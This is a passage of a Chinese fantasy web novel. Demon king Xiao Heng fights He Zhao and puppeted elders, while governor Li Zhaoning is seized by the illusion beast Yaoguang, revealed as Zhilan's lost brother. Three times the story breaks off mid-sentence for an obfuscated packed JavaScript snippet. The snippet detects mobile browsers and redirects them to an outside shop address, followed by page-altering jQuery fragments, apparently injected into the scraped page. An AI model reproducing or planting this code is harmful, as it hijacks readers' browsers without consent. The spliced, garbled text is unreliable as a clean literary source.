像有什么东西,在黑暗里悄悄睁开眼睛,像有什么事情,正在看不见的地方悄悄发生。 * 杻阳山。 夜雾沉沉,月色被乌云遮住,天地间一片晦暗,伸手不见五指。山风呼啸,吹得林木哗哗作响,像是无数冤魂在哀嚎。 萧蘅落在大殿前时,已经察觉到不对。 太安静了,安静得不正常。 往日此时,巡山的小妖该举着妖火列队而过,妖火的光芒会把山路照得通亮。守门的妖卫该打着哈欠换岗,抱怨着今晚的风太大、天太冷。大殿里该灯火通明、议事不断,长老们的争论声能传出二里地。 可现在什么都没有。 没有妖火,没有争论,连守山的妖卫都不见踪影。 大殿的门虚掩着,门缝里透出一线幽暗玄紫的光,像一只眼睛在窥视着外面。 萧蘅推开门,大殿内,几位长老端坐着,姿态僵硬,像一尊尊泥塑的雕像,又像一排排纸扎的假人。见他进来,他们齐齐起身行礼,动作整齐划一得诡异,像是有人牵动了同一根线。 “妖王。” 萧蘅扫了一眼。 大长老、三长老、五长老、七长老他们都在,可总觉得哪里不对。 “出了什么事?”萧蘅说罢,仍在审视他们。 大长老上前一步,神色凝重。那张老脸上满是褶子,眉宇间是恰到好处的焦虑,每一个表情都精准无比,却透着一种说不出的违和感。 “禀妖王,我们在后山发现了这个。” 他摊开手,掌心是一枚刻着古老纹路的玉牌。 萧蘅接过来,低头细看。 玉牌入手冰凉,上面刻着的纹路古朴繁复,那是上古封印独有的咒文,一笔一划都透着远古洪荒的气息。 “这是封印尧光的那个?” “是。”大长老点头,语气沉重,“有人试图破解封印,我们发现了残留的气息。那气息邪祟得很,像是何照那孽畜。” 萧蘅眉头紧锁:“带我去看看。” 大长老点头,转身领路。 萧蘅跟上去,走了几步,他忽然停住。 不对。 大长老走路的姿势不对。 他活了几千年,对这几个长老的习性再熟悉不过。大长老年轻时受过伤,左腿落下了病根,走路时左脚会微微拖地,一拖就是几千年,改都改不掉,走起路来总是左边慢半步,右边快半步,那姿势旁人看不出来,他却再熟悉不过。 可现在,这个人走路,步伐稳健,每一步都踏得稳稳当当,分毫不差,毫无破绽。 萧蘅目光一凝,低声一喊:“大长老。” 前面的人回头:“妖王有何吩咐?” 萧蘅正要说什么,却见大长老那双眼睛空空如也,像一面没有映出任何东西的镜子,里面没有几千年的沧桑,没有历经岁月的浑浊,似空洞,一口枯井。 而再定睛一看,大长老整个妖像被掏空的躯壳,牵线的木偶。 幻兽。 他猛地后退,雪绸白玉扇已在手中,扇骨铮然作响,寒光一闪,白风四生:“你不是大长老。” 大长老愣了一下,然后笑了,笑得诡异,笑得阴森,笑得那张脸上的褶子都扭曲起来,笑得像是戴着一张人皮面具:“妖王果然敏锐。” 他的脸开始扭曲、变形,像融化的蜡像,像被揉皱的纸张,五官错位、移位、重新组合,最终化作一张完全陌生的面孔,眉目阴鸷,嘴角噙着恶意的笑,眼睛里满是得意。 何照。 “可惜,晚了。” 四周的长老们同时抬起头,像一排排没有灵魂的傀儡。他们的眼睛,都是空洞的。 萧蘅握紧扇子,留意四周动向:“你把他们怎么了? 何照负手而立,笑得志得意满,踱着步,慢悠悠地绕着他转:“没怎么,就是借了点东西。” 萧蘅瞳孔微缩:“你把他们的妖气给尧光了?” 何照继续踱步,声音里满是炫耀:“尧光需要养料,这些老东西正好合适。一身修为,几千年的道行,够他恢复一阵子了。不过你放心,我没杀他们,只是让他们睡一会儿,做个梦罢了。梦醒之后,他们还是他们,只不过,那时候你应该不在了。” 他顿了顿,笑得更加畅快。 “换句话说,等你死了,它们自然会醒。” 何照话音刚落,四周那些被操控的长老同时扑上来。 他们的动作僵硬,却快得惊人,招式凌厉,招招致命,每一击都带着千年的修为和几丝幻气,每一爪都撕裂空气,发出尖利的呼啸。 萧蘅挥扇格挡,扇子与大长老的利爪相击,迸出一串火星,照亮了黑暗的大殿。可源源不断的人海战术压得他喘不过气来。三长老扫尾从左侧袭来,五长老钻地从右侧包抄,七长老正面强攻,他们不知疼痛,不知疲倦,只知道进攻、进攻、进攻,像是永远不知道停歇的机器。 何照站在不远处,冷眼看着,像看一场好戏,嘴角的笑意越来越深:“萧蘅,你以为我为什么要引你回来?” 萧蘅心头一沉。 调虎离山! “蓟州那边,尧光亲自去了。”何照笑得畅快,声音里满是幸灾乐祸,“你那个小州牧,娇娇弱弱的人类丫头,应该已经见到了吧?这会儿,怕是已经.......哈哈哈!” 萧蘅脸色骤变,他猛地发力,雪绸白玉扇横扫,白风骤然汇聚,形成龙卷风,包围住长老们,紧接着他化作一道凌厉的妖气如同脱弦之弓,冲向门口。 砰。 一道无形的屏障将他弹了回来。 他踉跄后退,撞上身后的柱子,闷哼一声。 何照摇头,啧啧两声,慢条斯理地走过来。 “别费力气了。这结界专门为你设的。你逃不出去的。” 月光被乌云彻底吞没,大殿陷入一片黑暗。只有何照的笑声,阴恻恻地回荡,一下一下敲在心口上。 * 蓟州妖怪教化学院。 夜已深,学堂里却灯火通明,烛火跳动,映得满室温暖。 李昭宁正在听金刚等人的作业报道,忽然心脏猛地抽痛,像被什么东西攥住,狠狠捏了一把。 她捂住胸口,脸色瞬间惨白,额上渗出冷汗,整个人晃了晃,半蹲下。 芝兰站起来,声音发颤:“姐姐?” 李昭宁想说话,却发不出声音。嘴唇翕动着,一个字都挤不出来。 脑海里,系统的声音断断续续传来,像被干扰的旧收音机,像是隔着千山万水,又像是隔了九重云霄,飘飘忽忽,似有若无。 【叮……检测到……异常……原绑定人……】 【滋……信号受扰……无法连接……】 【……警告……警告……】 啪,断了。那声音戛然而止,像一根琴弦猛地崩断,弦音还在空中颤了颤,便彻底归于沉寂。 什么都没了,死一般的寂静。 李昭宁愣在原地,大脑一片空白,像是被人抽走了什么重要的东西。她张了张嘴,想喊什么,却发不出声,喉咙像被什么堵住了,又像是那声音本就不该存在,喊了也是白喊。 系统……消失了? 不对,不是消失,是被什么屏蔽了,像有一张无形的大网从天而降,把所有的联系都切断了,把所有的路都封死了,把她和那个声音之间的桥梁,生生斩断。 她猛地抬头,看向窗外。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259093|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>窗外,原本晴朗的夜空忽然暗下来。 不是天黑的那种暗,天黑了有月亮,有星星,有人间的灯火,有千家万户的光亮。这是另一种暗,是吞噬,是淹没,是活生生把光从眼睛里抠出去的那种暗。 乌云从四面八方涌来,不是飘,是涌,像千军万马奔腾而来,像滔天巨浪铺天盖地。那云黑得不寻常,黑得发紫,黑得像是从地狱深处升起来的,遮住了月亮,遮住了星星,遮住了最后一丝光亮。 原本皎洁的月色,一瞬间就没了,像是被什么东西一口吞了下去,连渣都不剩。 那乌云黑得诡异,黑得瘆人,像一匹巨大的黑布从天而降,要把整个蓟州城裹进去,吞没干净,连一粒尘埃都不放过。 风起了,不是普通的风。 是夹杂着腥臭气息的妖风。那臭味浓得呛人,像腐烂了七七四十九天的肉,像发臭了千百年的沼泽,像无数尸体堆在一起沤出来的味道,有腥的,臭的,腐的,烂的,一股脑儿往鼻子里钻,呛得人直犯恶心,胃里翻江倒海,几欲作呕。 紫雾从远处弥漫过来,不是飘,是爬,像无数条蛇在地上爬行,蜿蜒而来,密密麻麻,前赴后继。 那紫雾越来越近,越来越浓,慢慢吞噬着天光,吞噬着街道,吞噬着房屋,一点一点逼近。所过之处,草木枯萎,砖石变色,连空气都像被抽干了,憋闷得喘不过气来。 小妖们惊慌失措,挤成一团,瑟瑟发抖。 “那是什么?” “好臭,我喘不过气了......” “大人!大人!我怕!” 李昭宁拔出剑,剑身在黑暗中泛着冷冷的寒光,映出她苍白的脸。诸葛兰旌手持青鸾圣扇与她背对背站立,眉头紧锁:“是幻兽?” “不错。” “尧光,来了。” 门忽然被撞开,砰的一声巨响,门板都裂了,碎木飞溅,砸在地上,砸在桌上,砸在墙上。 浮雀浑身是血,跌跌撞撞飞进来。它的羽毛凌乱不堪,像是被什么东西撕咬过,东一块西一块地秃着。 翅膀上裂开一道长长的口子,深可见骨,血滴了一路,在地上开出一串触目惊心的血花,那血花在昏暗的灯火下,红得发黑,红得刺眼。 它扑到李昭宁脚边,抬起头,眼睛里满是惊恐,那惊恐几乎要溢出眼眶,几乎要把它的魂都吓飞了。 “大人……快跑,它……” 话没说完,它已经昏了过去,小身子软软地瘫在地上,芝兰大喊一声,立马扑了过去,狼少爷紧随其后,施法治愈。 李昭宁握紧剑,和诸葛兰旌一道走出大堂。 雾气漫进院子,漫过门槛,漫进学堂,像有生命一样,一点一点逼近。那雾气浓得化不开,伸手不见五指,只能看见那翻滚的紫色,像一锅煮沸的水,咕嘟咕嘟冒着泡。 腥臭味越来越浓,浓得让人作呕,浓得让人头晕目眩,浓得让人分不清东南西北。 雾气中,一道身影缓缓浮现。 不是兽形。 是人形。 那人影由淡转浓,由虚转实,从雾气里一步步走出来,像是从另一个世界跨过来的。 李昭宁看着那张脸,愣住了。 那张脸…… 为什么这么眼熟? 在哪里见过? 她想不起来了。 脑子里像蒙了一层雾,越想看清,越模糊。明明就在眼前,明明就在嘴边,却怎么也想不起来。像是被什么东西封住了,锁住了,藏起来了。 但那张脸已经朝她伸出了手。 那只手惨白惨白,像死人的手,没有一点血色,没有一点温度。指甲漆黑如墨,长得卷曲起来,像鹰爪,像鬼爪,像从坟地里爬出来的什么东西的爪子。 下一秒,天旋地转。 耳边是小妖们的惊呼声,断断续续,像隔了一层厚厚的水,又像是从很远很远的地方传来的,听得见,却抓不住。 眼前是无边无际的紫雾,铺天盖地,将她吞没,将她包裹,将她从头到脚裹进那浓得化不开的紫色里。 最后一丝意识里,她听见一个声音。 低沉的,沙哑的,带着笑意的,像是从很远很远的地方传来,又像是就在耳边低语。 “小丫头,等你好久了。” 29. 尧光?玉佩 李昭宁眼前一黑,身子便软软地往下坠,像是被人抽去了浑身的骨头,又像是坠入了一个无底深渊,四下里黑漆漆的,伸手不见五指。耳边呼呼的风声,也不知是真实的风,还是什么妖物在耳边喘息。 也不知过了多久,她忽然觉得脚下一顿,竟踩着了实地。 那实地冰凉坚硬,像是踩在了千年寒冰之上,一股寒意顺着脚底直往上蹿。 她睁开眼。 眼前是一片混沌的紫雾,浓得化不开,稠得像一锅熬了几百年的药汤,翻滚着,涌动着,却又透着一股子说不出的诡异。 紫色雾气深处,隐隐约约现出一座宫殿。 那宫殿巍峨壮丽,飞檐斗拱,雕梁画栋,瞧着竟像是人间的帝王居所,气派非凡。可细细一看,那飞檐上盘着的不是龙凤,是一条条吐着信子的蛇;那斗拱上刻着的不是祥云,是一只只狰狞的兽,青面獠牙,怒目圆睁;那梁柱上缠着的不是彩绘,是一道道蠕动的紫影,像是活的,在柱子上缓缓游走。 李昭宁只觉得心口像压了一块大石,沉甸甸的,喘不过气来。她握紧手中的剑,一步一步往前走。 脚底下是汉白玉的石阶,冰凉彻骨,每走一步,那寒意便从脚底直往上窜,窜到膝盖,窜到腰腹,窜到心口,冻得她浑身打颤,牙齿咯咯作响。 那石阶也不知有多长,走了许久,回头一看,身后却仍是那一片紫雾,像是根本没动过地方。 石阶两旁立着两排灯柱,柱顶燃着幽蓝的火,那火光忽明忽暗,照得四下里鬼影幢幢。蓝光照在脸上,映得人脸都成了青白色,像一具具行走的尸体。 她走到殿门前。 门是开着的。 那门洞黑漆漆的,深不见底,像一张张开的巨口,等着猎物自己走进去。门里什么也看不见,只听见一阵阵低低的笑声,从那黑暗深处传出来,像是有人在笑,又像是无数人在笑,笑得阴恻恻的,笑得人心里发毛,汗毛倒竖。 李昭宁深吸一口气,抬脚跨进门槛。 眼前豁然一亮。 大殿里灯火通明,亮如白昼。金碧辉煌的藻井,雕龙刻凤的柱子,铺着猩红地毯的地面,一切都华丽得不真实,像是一场梦,又像是进了什么妖精幻化的迷障。 那灯火不是寻常的烛火,是一颗颗夜明珠发出的光,嵌在壁上,嵌在顶上,照得四下里纤毫毕现。 大殿正中,摆着一张紫檀木的座椅。 座椅上坐着一个人。 那人穿着一袭玄色的长袍,袍子上绣着暗金色的纹路,那纹路细细密密,蜿蜒曲折,像是无数条蛇缠在一起。 他的脸苍白得没有一丝血色,眉眼却生得极好看,剑眉星目,薄唇微微上扬,噙着一抹似笑非笑的弧度。 但细看,他眉宇间有些少年未脱去的稚气。那稚气与这阴森的大殿格格不入。 他就那么坐着,歪着头,看着她。 那眼神,像是在看一只落入了陷阱的小兽,饶有兴味,又带着几分志在必得的笃定。又像是在看一件新得的玩物,琢磨着要怎么把玩,怎么消遣。 李昭宁看着那张脸,脑子里嗡的一声炸开了,像是有什么东西在脑海里轰然崩塌。 这张脸她见过。 在哪儿见过? 在梦里?不对。 她忽然想起来了。 这眉眼,这鼻梁,这唇角的弧度,活脱脱就是芝兰的翻版。 不,不对。 不是翻版。 她忽然想起萧蘅的那番推理。 如此,那这人是—— 芝兰的弟弟。 “怎么,被我吓傻了?” 那人开口了,声音低沉沙哑,带着笑意,和方才在雾气里听到的那个声音一模一样,和那黑暗中传来的笑声一模一样。 他站起身,一步一步走过来:“你看着他,是不是总觉得眼熟?总觉得在哪儿见过?却又想不起来?” 他走到她面前,居高临下地看着她。他竟然比她高出一个头,这样站着,她整个人都被笼罩在他的阴影里。苍白的手指抬起,轻轻挑起她的下巴。 那手指冰凉刺骨,像刚从冰窖里拿出来似的,像死人的手指。 李昭宁想躲,却发现身子动不了了,像被什么法术定住了,从心底里生出一股子恐惧,那恐惧像藤蔓一样,把她的四肢百骸都缠得死死的,缠得紧紧的,让她动弹不得。 “你……你是尧光。” 那人笑了。 笑得畅快,笑得肆意,笑得整个大殿都在震颤。那笑声像是从四面八方传来,又像是从她心底响起,震得她耳膜生疼,震得她头晕目眩。 “尧光?”他重复了一遍,像是听到了什么天大的笑话,“尧光是我,我是尧光,可我又不只是尧光。” 李昭宁被他说得稀里糊涂,脑子里乱成一团浆糊。只见他收回手,转过身,背对着她,负手而立。 “知道我为什么带你来吗?” 李昭宁定了定神,强压下心头的恐惧,冷笑一声:“无非是上次你伤不了我,这次想换个法子,或者你想从我身上得到什么。” 她一边说,一边暗暗打量着四周,想找出一条退路。可这大殿浑然一体,除了身后那扇门,竟再无第二个出口。 尧光转过身来,看着她,眼里闪过一丝玩味。 “答对了一半,”他说,一字一顿,“我是伤不了你,所以想看看,你到底有什么古怪。” 话音未落,他忽然抬手。 一道紫光从他指尖激射而出,直奔李昭宁的面门。 李昭宁大惊,本能地举剑格挡。那紫光撞在剑身上,发出一声闷响,震得她虎口发麻,连退三步。不等她站稳,第二道、第三道紫光已经接踵而至。 她咬着牙,拼命挥剑格挡。可那紫光越来越密,越来越快,像暴雨一样倾泻而下。她左支右绌,狼狈不堪,剑光与紫光交织在一起,迸出一串串火星。 尧光就站在不远处,负手而立,看着她的狼狈,嘴角的笑意越来越深。 “就这点本事?”他慢悠悠地说,手指轻轻一勾,那漫天的紫光忽然收了回去。李昭宁喘着粗气,握剑的手都在发抖,浑身的衣裳已经被汗水浸透。 可尧光没给她喘息的机会。 下一瞬,他出现在她面前。 不是走过来,是凭空出现,像是本来就站在那儿似的。那眼睛直直地盯着她,却不是在看她,而是在看她胸前的玉佩。 李昭宁心头一跳。 他是在看那块玉佩。 芝兰送的那块玉佩。 她来不及多想,尧光已经退后一步。他脸上那玩味的笑意更深了,像是发现了什么有趣的东西。 “有意思。”他说,声音轻轻的,像是在自言自语,“那块玉佩……谁给你的?” 李昭宁不答。 尧光也不恼。他只是抬起手,又是一道紫光。 这一次,那紫光不是射向她,而是化作一条细细的绳索,缠上了她的手腕。那绳索越缠越紧,勒得她手腕生疼,剑都握不住,当啷一声落在地上。 “让我看看……”尧光凑过来,眼睛却始终盯着那块玉佩,“你身上到底有什么秘密。” 他说着,伸出手,就要去摘那玉佩。 就在他的手指即将触到玉佩的一刹那,他忽然脸色一变,像是被什么烫了一下,猛地缩回手。 他低头看着自己的手指,那指尖上竟冒起一缕青烟,像是被火烧过似的。 李昭宁看在眼里,心头忽然明白了什么。萧蘅推理得没错,芝兰弟弟是被何照捡走了,让尧光吸了附身并吸气。 吸了众多的妖气,他的体格变得强壮魁梧,但是面相依旧有些芝兰弟弟年少的稚气。 尧光看着自己的手指,脸上的笑意淡了几分。他抬起头,看着李昭宁,那目光里多了几分审视,几分忌惮。 “有意思。”他又说了一遍,“真有意思。” 他挥了挥手,那缠着李昭宁手腕的紫光绳索便松开了。 李昭宁揉着手腕,捡起剑,却不敢再轻举妄动。她看着尧光,脑子里飞快地转着。 如果用这玉佩封印尧光会不会起效。 但是她没有妖力,也不精通这方面的力量…… 那如果……她还没来得及往下想,尧光又开口了。 “你叫李昭宁?”他说,语气随意得像是在闲聊,“蓟州城的州牧。人类却和妖王搅在一起。啧,你图什么?” “和平。”她目光很坚定。 尧光仿佛听了滑天下之大稽的笑话,他踱着步,慢悠悠地绕着李昭宁转圈,像一只猫在打量猎物。 “真是无用的人类。”尧光歪着头看她,然后忽然抬手。 又是一道紫光。 这一次,那紫光不是攻向李昭宁,而是射向大殿两侧。 灯光亮起。 大殿两侧,忽然亮起无数盏灯。那灯是幽绿色的,绿得像鬼火,照得四下里阴森森的。 灯光下,站着一排排的人,不,不是人,是妖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263795|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些妖直挺挺地站着,一动不动,眼睛睁得大大的,却没有一丝神采,空洞得像一具具行尸走肉,像一个个被掏空了的皮囊。 李昭宁认出了几张脸。 那是从杻阳山的长老们,不,是虚影。 大长老、三长老、五长老、七长老……都在。他们站在那里,脸色灰白,嘴唇青紫,像是一具具尸体,却偏偏还在呼吸,胸口微微起伏着。 “萧蘅现在,正和它们在一起。”尧光漫不经心地说,语气随意得像是在说今天天气不错,“你的好妖王,以为能打过它们?做梦。它们没有知觉,没有痛感,不知疲倦,不死不休,他就是再厉害,也耗不过它们。” 他顿了顿,看向李昭宁,眼底满是得意。 “等他耗尽力气,被困得动弹不得的时候,我就告诉他:你来,你放弃抵抗,我就放了她。” 他凑近了,声音低得像是在说悄悄话。 “你说,他来不来?” 李昭宁张了张嘴,想说不来,想说他不会这么傻,想说他一定会想到办法,可话到嘴边,却怎么也说不出口。 因为她知道。 他会来。 他一定会来。 那个傻子,那个别扭的、嘴硬的、傲娇的傻子,一定会来。他会不顾一切地来,哪怕明知道是陷阱,明知道是圈套,他也会来。就像上次一样,就像每一次一样。 尧光看着她的表情,笑意更深。 “你看,你也知道。” 他转身,往那紫檀木的座椅走去,坐下,歪着头,饶有兴致地打量着她。 “我也不想两败俱伤。所以咱们就等着吧。等着他来。等着他将妖王一位拱手相让于我。” 李昭宁深吸一口气,压下心头的恐惧和不安,冷冷开口:“你是幻兽,要妖王之位干什么?” 尧光挑了挑眉,像是有些意外她还会问问题。 “妖王可以号令百妖。”他说,语气理所当然,“百妖们也只听令于妖王。我得到妖王之位,便可培育我们幻兽大军。到那时候……” 他顿了顿,笑了笑。 “到那时候,这天下,还有谁能挡得住我?” 李昭宁看着他,看着他眼底那疯狂的光芒,忽然想起芝兰。 她忽然开口:“你的奶奶、姐姐一直在等你。” 尧光脸上的笑意顿了一顿。 “奶奶前不久死了,”李昭宁继续说,“她此生最后悔的决定就是听了死老头的话,把你丢弃。而你的姐姐芝兰,一直在想着你,念着你。” 她想赌一把,试探尧光是否拥有芝兰弟弟的记忆,可尧光没说话。 大殿里忽然安静下来,安静得能听见类似灯花爆裂的噼啪声。 过了很久,尧光笑了。 那笑容有些奇怪,不像之前那样畅快,也不像之前那样得意,只是弯了弯嘴角,像是听见了一个笑话。 “是吗?”他说,语气平平淡淡的,“那让她继续等吧。” 他站起身,一步一步走向李昭宁。 李昭宁:“你不在乎?” “不管是什么,你以为说这些,就能让我心软?”他站在她面前,低头看着她,声音高了起来。 一道紫光闪过,李昭宁身旁的地面上忽然裂开一道口子。那口子黑漆漆的,深不见底,像是一口井,又像是什么深渊。 “下去。”尧光说。 李昭宁不动。 “不下去也行。”他说,语气轻飘飘的,“那我现在就去杻阳山,亲自会会萧蘅……” “够了。” 李昭宁打断他:“你说不想两败俱伤,那我蓟州城的百姓……” 尧光打断她:“放心,我的目的不在此。你的人类同胞们顶多今晚因为我的来临做个噩梦,什么事都没有。” “最好如此。”她看了他一眼,一脚将身边不远的石头踢入那深渊,很久了,没有传来落地声音。 “我恐高,不下去了。”李昭宁抱臂闭上眼睛,往墙角一坐。与其跟尧光这么耗下去,不如好好休息,养精蓄锐,待他放松警惕再见机行事。 尧光有些不悦,但懒得跟李昭宁耗神,丢下一句骨头太硬容易折便走了。 李昭宁心里在想着那块玉佩。 那东西到底是什么? 为什么尧光那么忌惮它? 还有,芝兰要是知道弟弟还活着,会怎么样? 她不知道。 她只知道,这深渊好冷。 冷得彻骨。 30. 谁也不许伤害她 杻阳山大殿之内,那无形的结界如同一个倒扣的琉璃碗,将内外隔绝成两个天地。结界之中,萧蘅与何照对峙已久,那些被操控的长老们终于力竭,一个个东倒西歪地躺在地上,虽失了行动之力,却仍瞪着一双双空洞的眼,四肢抽搐,状如牵线偶人断了绳索。 萧蘅也好不到哪里去。 他倚着殿中那根盘龙大柱,胸口剧烈起伏着,靛蓝衣袍上洇开大片深色的湿痕。 左手垂在身侧,指尖还在往下滴血。他的呼吸又重又急,每一次喘息都扯动着不知哪里的伤口,疼得他眉头紧锁。 何照站在不远处,手里握着一条黑色的长鞭,那鞭子通体乌黑发亮,像一堆形状不一定羽毛炼成的,鞭梢上还沾着乌血。他斜眼看着萧蘅,嘴角的笑意压都压不住,志得意满得像是已经赢了。 “萧蘅,你打不过我的。”何照的声音在大殿里回荡,带着几分嘲讽,几分得意,“在这结界里,你没有生气补充,只会越来越弱。你以为你还是那个高高在上的妖王?呸,你现在就是一只困兽,一只瓮中之鳖。” 萧蘅缓缓闭上眼睛。不能再拖下去了,不然李昭宁会有危险。 何照眉头一皱,脸上的笑意僵了僵。 “你干什么?” 下一秒,他脸色骤变。 一股庞大的妖力从萧蘅身上猛地炸开,如同平静的湖面被投入一块巨石,掀起滔天巨浪。那妖力之强,竟震得整座大殿都颤了颤,梁上的灰尘簌簌往下落,殿中的灯火摇曳不定,险些熄灭。 金光暴涨。 刺目的金光从萧蘅身上迸发出来,耀眼得让人睁不开眼。那金光越来越亮,越来越盛,最后竟汇聚成一道道光柱,直冲殿顶。 何照下意识抬手挡住眼睛,脚步踉跄着往后退。 等他再睁眼看时,整个人如同被雷劈中,呆立当场。 九道虚影在萧蘅身后缓缓展开。 九尾。 真正的九尾。 那九条尾巴在半空中徐徐展开,如同孔雀开屏,又如同九道流光溢彩的匹练,美得惊心动魄,又威压得人喘不过气来。 何照瞳孔猛缩,脸上的血色褪得干干净净。 九尾之中,有七条是纯白的,洁白如雪,光华流转,那光芒柔和不刺眼,却偏偏让人不敢直视,仿佛多看两眼就会被那圣洁的光灼伤眼睛。 而另外两条是黑色的。 墨一样的黑。 那黑不是普通的黑,是深渊最底处的那种黑,黑得发亮,黑得发紫,黑得摄人心魄。两条黑尾静静地悬在那里,与七条白尾并列,黑白分明,却又诡异得和谐,像是阴阳相生,像是昼夜共存。 萧蘅睁开眼。 他的眼睛已经变成了金色。 不是平时那种鎏金的暖色,而是纯正的金色,亮得灼人,亮得像两轮小太阳。那金色的眸子里,没有喜怒,没有哀乐,只有一种让人心生敬畏的感觉。 何照下意识后退一步,握鞭的手都在发抖。 “你……你一直藏着?”他的声音发颤,再没有方才的得意,“你有九尾?你竟然是九尾?” 萧蘅没有回答。 他只是低头,看了一眼那两条黑色的尾巴。 那两条尾巴静静地悬在他身后,与他相伴了几千年,也被他藏了几千年。 他厌恶它们。从小时候起就厌恶。别的幼狐尾巴纯白如雪,只有他的尾巴杂着黑色,像是白纸上泼了墨,像是美玉上裂了痕。很久之前那些小妖们围着他嘲笑,“半妖,杂种,尾巴都不纯”。那笑声像针,扎在他心上,扎了几千年。 他恨那两条黑尾。 恨它们提醒他自己是什么。 恨它们让他永远无法成为真正的纯血。 所以他封住了它们。 封住了两分力气。 也封住了两分自己。 可他此刻看着那两条尾巴,却忽然觉得,它们似乎也没有那么可憎。它们是黑色的,可那黑里泛着隐隐的玄紫,和人类母亲的发色一样。 萧蘅的嘴角弯了弯,像是在笑。 可当他抬起头,看向何照时,那笑意便收了回去,取而代之的是一片冰冷。 “她在哪?” 何照愣了一下,然后笑了。那笑里有几分了然,几分嘲弄,还有几分疯狂的快意。 “她?那个小州牧?”他故意拖长了声音,“应该已经被尧光吃干净了吧。骨头都不剩。毕竟人类细皮嫩肉的,最合那位的胃口。” 萧蘅的眼神变了,冷得让何照心底发寒。 何照忽然有些后悔说了那句话。 可已经晚了。 萧蘅动了。 不是快。 是消失了。 就那样凭空消失在原地,连残影都没有留下。 何照心头一凛,本能地挥鞭往身后扫去……鞭子挥了个空。 下一秒,一把白得刺眼的扇子从侧面伸过来,稳稳掠断了他的攻击。 萧蘅不知何时已经出现在他身侧,就那样单手抓着那条黑鞭,像是抓着一条死蛇。那鞭子在他手里挣了挣,却挣不开,像是被铁钳夹住了。 何照用力往后拽,拽不动。 萧蘅看着他。 那双金色的眼睛直直地盯着他,看得他心里发毛。 “你知道吗。” 萧蘅开口了,声音很平静,平静得不像是在战斗,倒像是在闲话家常。 何照挣了挣,挣不开,手心已经渗出汗来。 “我活了这么久,一直不知道活着是为了什么。” 他的声音低低的,带着一丝连自己都没有察觉的茫然。 “我活了几千年。看着身边的人来来去去,看着世事变迁沧海桑田。我看过太多生死,见过太多悲欢。可那些都是别人的,与我无关。我不知道自己为什么要活着,不知道活着有什么意义。就像一片浮萍,漂到哪里算哪里。” 他顿了顿。 “后来我遇见一个人。” “她傻。什么都管,什么都不怕,累得要死也不肯停。为了那些素不相识的人,她可以几天几夜不睡;为了那些无关紧要的人能过好日子,她可以跑遍三郡四处求人求妖。她把自己搞得狼狈不堪,却还笑得那么开心,好像那些都不算什么。” 萧蘅的嘴角弯了弯,那弧度很浅,却真实得让人动容。 “她闯进我的世界,把我的生活搅得一团乱。我本来一个人清清静静,她却非要拉着我东奔西跑;我本来什么都不在乎,她却非要让我看见那些可怜人、那些糟心事。她烦得很,吵得很,傻得很。” “可我好像……越来越离不开她了。” 他看着何照,眼睛里的金色越来越亮,那光芒恨刺眼,像正午的阳光。 “你知道为什么吗?” 何照说不出话。他已经被萧蘅的眼神震慑住,像是被猛兽盯住的猎物,动弹不得。 萧蘅替他回答。 “因为她是第一个,知道我是半妖之后,没有露出那种眼神的人。” 他的声音轻轻的,像是怕惊扰了什么。 “不是可怜。不是嫌弃。不是恶心。” “就是……看着我。” “好像我只是我。” 他松开鞭子。何照踉跄后退,险些摔倒。 萧蘅身后的九尾全部展开,金光与黑芒交织在一起,白的那七条圣洁如仙,黑的那两条深邃如魔,仙与魔共存一体,光与暗同生一人,却偏偏和谐得惊人,美得惊心动魄。 “而你们竟然妄想伤害她。” 他看着何照,金色光芒如火焰在灼烧四周。 “你刚才说,她会被吃掉。” 他的声音冷下来,冷得像数九寒天的冰碴子。 “我很生气。” 何照瞳孔猛缩。 下一秒,雪绸白玉扇归位。 一场单方面的战斗,开始了。 何照原本以为自己还有一战之力。就算萧蘅解开了封印,就算他恢复了九尾,可他已经受了伤,流了那么多血,又能撑多久? 可真正交上手,他才发现自己错得离谱。 萧蘅像是换了一个人。那两条黑尾像是解开了什么封印,他的速度快得惊人,力量大得离谱,每一击都像是山崩地裂。何照的鞭子根本近不了他的身,每一次挥出去,都被他轻描淡写地躲过,或者被白风挡住。 何照节节败退。 他咬紧牙关,拼尽全力挥出一鞭。 这一鞭用了他十成的功力,黑鞭化作一条黑蛟,张牙舞爪地扑向萧蘅。 萧蘅没有躲。 他只是抬手,倒悬雪绸白玉扇,身后的九尾闪电般探出,与那黑蛟撞在一起。 砰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273419|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声巨响,黑蛟消散,黑鞭断成两截,落在地上。然后九尾掀带的白风传过他的身体,阳光般散向周围,飞进长老们点身体。 何照看着手里那半截断鞭,整个人都傻了。 就在这时,身后传来一阵窸窸窣窣的动静。 那些被操控的长老,醒了。 